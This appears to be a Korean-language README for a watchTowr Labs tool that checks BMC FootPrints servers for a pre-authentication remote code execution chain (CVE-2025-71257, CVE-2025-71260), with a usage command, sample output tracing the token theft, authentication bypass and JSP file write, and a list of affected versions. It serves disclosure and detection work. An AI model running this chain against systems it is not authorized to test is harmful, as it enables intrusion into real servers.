watchtowrlabs/watchtowr-vs-bmc-footprints-rce-cve-2025-71257-cve-2025-71260BMC FootPrints 인스턴스에서 사전 인증 RCE 체인(CVE-2025-71257, CVE-2025-71260)을 검증하는 탐지 아티팩트 생성기로, 인증을 우회하고 JSP 파일을 작성하여 시스템 정보를 열거합니다.
BMC FootPrints 사전 인증 원격 코드 실행 체인 탐지 아티팩트 생성기 도구
이 탐지 아티팩트 생성기는 BMC FootPrints 인스턴스가 CVE-2025-71257 및 CVE-2025-71260에 취약한지 확인합니다.
탐지 아티팩트 생성기는 두 가지 작업을 수행합니다:
취약한 인스턴스에 대한 테스트:
python3 watchTowr-vs-BMC-Footprints-RCE-CVE-2025-71257-CVE-2025-71260.py http://192.168.2.2
__ ___ ___________
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \___| Y | |( <_> \ / | | \/
\/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__|
\/ \/ \/
watchTowr-vs-BMC-Footprints-RCE-CVE-2025-71257-CVE-2025-71260.py
(*) BMC Footprints Authentication Bypass and Remote Code Execution Detection Artifact Generator Tool
- Sonny , watchTowr ([email protected])
CVEs: [CVE-2025-71257, CVE-2025-71260]
============================================================
Detection Artifact Generator Tool
============================================================
Target: http://192.168.2.2
[+] 첫 번째 요청 전송: http://192.168.2.2/footprints/servicedesk/passwordreset/request/
[+] SEC_TOKEN 추출 성공: wgLCxepla-NTW9VSXIxyzNiq7HFJ0-CEFnbzlObKu3Ktv3B33h
[+] 두 번째 요청 전송: http://192.168.2.2footprints/servicedesk/aspnetconfig
[+] 토큰 사용: wgLCxepla-NTW9VSXIxyzNiq7HFJ0-CEFnbzlObKu3Ktv3B33h
[+] 무작위 JSP 이름 사용: MNdeu12Wf
[+] 세 번째 요청 전송: http://192.168.2.2/MNdeu12Wf.jsp (무작위 아티팩트)
==================================================
추출된 정보:
==================================================
사용자 이름: LOCAL SERVICE
작업 디렉터리: C:\Program Files\Apache Software Foundation\Tomcat 9.0
==================================================
[+] 탐지 아티팩트 생성기 완료!
BMC FootPrints: 20.20.02부터 20.24.01.001까지
20.20.02, 20.20.03.002, 20.21.01.001, 20.21.02.002, 20.22.01, 20.22.01.001, 20.23.01, 20.23.01.002, 20.24.01
최신 보안 연구를 위해 watchTowr 연구소 팀을 팔로우하세요